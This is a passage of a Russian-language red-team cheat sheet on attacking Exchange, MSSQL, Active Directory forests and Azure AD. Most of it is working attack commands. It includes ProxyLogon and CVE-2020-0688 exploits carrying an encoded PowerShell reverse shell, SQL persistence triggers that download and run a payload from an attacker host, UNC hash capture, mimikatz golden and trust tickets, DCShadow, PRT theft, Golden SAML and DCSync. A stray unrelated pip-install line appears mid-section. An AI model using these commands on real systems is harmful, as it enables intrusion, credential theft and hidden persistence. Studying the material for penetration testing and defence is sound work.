./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?\.)+[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> с помощью [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) :```powershell
./oaburl.py $domain/$user:[email protected] -e [email protected]
```
### PrivExchange

**[PrivExchange](https://github.com/dirkjanm/PrivExchange) использует функцию PushSubscription; пользователь может перехватить данные аутентификации NTLM сервера Exchange простым вызовом API PushSubscription.**```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon

**[ProxyLogon](https://github.com/hausec/ProxyLogon) — это название, данное CVE-2021-26855, которое позволяет атакующему обойти аутентификацию и выдать себя за пользователей на серверах MS Exchange**```bash
python proxylogon.py $ip user@fqdn
```
> используя metasploit:```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688

эта уязвимость позволяет выполнить удаленный код (RCE) на EWS через фиксированные криптографические ключи

*Получение значений для RCE :*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId````powershell
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```
## MSSQL Server

### UNC Path Injection

[ ❓ ] : Uniform Naming Convention __позволяет обмениваться ресурсами__ в сети через очень точный синтаксис: `\IP-Server\shareName\Folder\File`

запуск responder: `responder -I eth0````sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### MC-SQLR Отравление

*Протокол разрешения SQL Server — это простой протокол прикладного уровня, используемый для передачи запросов и ответов между клиентами и службами обнаружения серверов баз данных.*```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> мы захватили хэш **Administrator** с помощью этого VBA-скрипта.```python
[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client   : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash     : Administrator::TEST:1122334455667788...
```
### Триггеры DML, DDL и входа в систему

[ ❓ ] : **Триггеры** — это хранимая процедура, которая автоматически выполняется при возникновении события в SQL Server.

- Язык определения данных (DDL) – выполняется при выполнении инструкций Create, Alter и Drop, а также некоторых системных хранимых процедур.
- Язык манипулирования данными (DML) – выполняется при выполнении инструкций Insert, Update и Delete.
- Триггеры входа – выполняются при входе пользователя.

**Список триггеров**

*перечислить все триггеры*```sql
SELECT * FROM sys.server_triggers
```
*список триггеров для базы данных*```sql
SELECT * FROM sys.server_triggers
```
*список триггеров DDL и DML в экземпляре с помощью powershell*```powershell
Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*используйте DML триггеры для постоянства*```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*используйте триггеры DDL для сохранения*```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*используйте триггеры входа для персистентности*```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## Постоянство в лесу

### DCShadow

**DCShadow временно регистрирует новый контроллер домена в целевом домене** и использует его для «проталкивания» таких атрибутов, как SIDHistory, SPNs…, на указанные объекты, не оставляя журналов изменений для изменённого объекта!

*⚠️ Требования:*
- Для использования DCShadow требуются привилегии DA.
- Машина атакующего должна быть частью корневого домена.

Атаке требуются два экземпляра на скомпрометированной машине:

**1‑й экземпляр:** *запускает серверы RPC с привилегиями SYSTEM и указывает атрибуты для изменения*```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**2 экземпляр:** *с достаточными привилегиями DA для внесения значений:*```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## Атаки между лесами

### Доверительные билеты

*Извлечение доверительного ключа*```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*Подделка IR-TGT с использованием Trust key*```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
*получить TGS для службы CIFS*```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*используйте TGS для CIFS service*```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### Использование хеша KRBTGT```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure Active Directory

### AZ User Enumeration

*подключение к Azure Active Directory с помощью **Connect-MsolService**.*```powershell
PS> Connect-MsolService -Credential $cred
```
*эта команда позволяет перечисление с MFA (многофакторная аутентификация)*```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*найти Azure AD Connect Server*```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### Перечисление с помощью AZ CLI

**Перечисление хранилищ**

*перечисление blob-хранилищ*```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure

*создать нового пользователя*```powershell
New-AzureUser -Username '[email protected]' -Password catAker
```
*Выполняет команду на указанной виртуальной машине*```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### Golden SAML

*⚠️ Требования :*
- Права администратора сервера ADFS
- `ADFS Public Certificate`
- `IdP Name`
- `Role Name`

> Получить `ADFS Public Certificate`:```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> Получить `IdP Name`:```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> Получить `Role Name`:```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
набор инструментов для эксплуатации Golden SAML можно найти [здесь](https://github.com/secureworks/whiskeysamlandfriends)

> **Golden SAML похож на золотой билет и затрагивает протокол Kerberos. Как и Золотой билет, Golden SAML позволяет злоумышленнику получать доступ к ресурсам, защищённым агентами SAML (например: Azure, AWS, vSphere, Okta, Salesforce, ...), с повышенными привилегиями через золотой билет.**

*ShockNAwe:*
- 1. Удалённо извлекает настройки конфигурации AD FS
- 2. Формирует и подписывает токен Golden SAML
- 3. Извлекает часть «утверждения» (assertion) токена Golden SAML и передаёт её в API управления Azure Core для получения действительного токена доступа к API
- 4. Перечисляет идентификатор подписки
- 5. Перечисляет полный список виртуальных машин в подписке
- 6. Выполняет произвольные команды на всех виртуальных машинах от имени SYSTEM/root

*WhiskeySAML:*
- 1. Удалённо извлекать настройки конфигурации AD FS
- 2. Формировать и подписывать токены Golden SAML
- 3. Передавать токен Golden SAML на портал Microsoft Azure
- 4. Входить на портал Azure от имени любого пользователя, обходя конфигурации Azure MFA```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### Манипуляция PRT

#### PassThePRT

*проверьте статус AzureAdJoined и скачайте Mimikatz:*```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(“https://server/Invoke-Mimikatz.ps1”)
```
Ищете **prt** и **KeyValue**:```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*используйте **функцию APKD** для декодирования **KeyValue** и сохранения значений **"Context"** и **"DerivedKey"**:*```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
pip install argparse socket threading time random string python-nmap requests colorama paramiko```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt

---SNIP---
Signed JWT : eyJ...
```
*Создать PRT-Cookie с помощью [lantern](https://github.com/ConstantinT/Lantern):*```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*Сгенерировать JWT*```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
```
### Сервисная учетная запись MSOL

> вы можете извлечь сервисную учетную запись MSOL с помощью [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c), используемую Azure AD Connect Sync, и запустить атаку DCsync с помощью извлеченных учетных данных

*DCSync с учетной записью MSOL*```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## Разное

### Атрибут уровня домена

#### Эксплуатация MachineAccountQuota (MAQ)

используйте crackmapexec (CME) с модулем maq :

`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`

#### BadPwdCount```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP        10.10.13.100       389    dc1       Guest      badpwdcount: 0 pwdLastSet: <never>
```
### Злоупотребление IPv6 в AD

отправка ICMPv6 пакета цели с помощью ping6:

`ping6 -c 3 <target>`

сканирование IPv6 адреса с помощью nmap:

`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`

советы по адаптации инструментов для IPv6:```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
вы можете заменить значение AF_INET на AF_INET6 из библиотеки socket python :```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### Мошеннический DHCP

`mitm6 -i eth0 -d 'domain.job.local'`


#### Перечисление интерфейса IOXIDResolver

Это небольшой скрипт, который перечисляет адреса в поле NetworkAddr с уровнем [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants)```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter

RPC_C_AUTHN_DCE_PUBLIC  = 2

stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
    adr = bind['aNetworkAddr']
    print("Adresse:", adr)
```
## Ссылки

- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml
Скачать инструмент
  • ConstrainLanguageMode
  • Just Enough Administration
  • ExecutionPolicy
  • RunAsPPL для дампа учётных данных
  • Отключение ETW
  • MS Exchange
    • Перебор паролей OWA, EWS и EAS
    • Извлечение GAL и OAB
    • PrivExchange
    • ProxyLogon
    • CVE-2020-0688
  • MSSQL Server
    • Внедрение UNC-пути
    • Отравление MC-SQLR
    • Триггеры DML, DDL и Logon
  • Постоянство в лесу
    • DCShadow
  • Атаки между лесами
    • Trust Tickets
    • Использование хеша KRBTGT
  • Azure Active Directory (AAD)
    • Разведка пользователей AZ
    • PowerZure
    • Golden SAML
    • Манипуляция PRT
    • Учётная запись службы MSOL
  • Разное
    • Атрибут уровня домена
      • Эксплуатация MachineAccountQuota (MAQ)
      • Bad-Pwd-Count
    • Злоупотребление IPv6 в AD
      • Rogue DHCP
      • Разведка интерфейса IOXIDResolver
    • Ссылки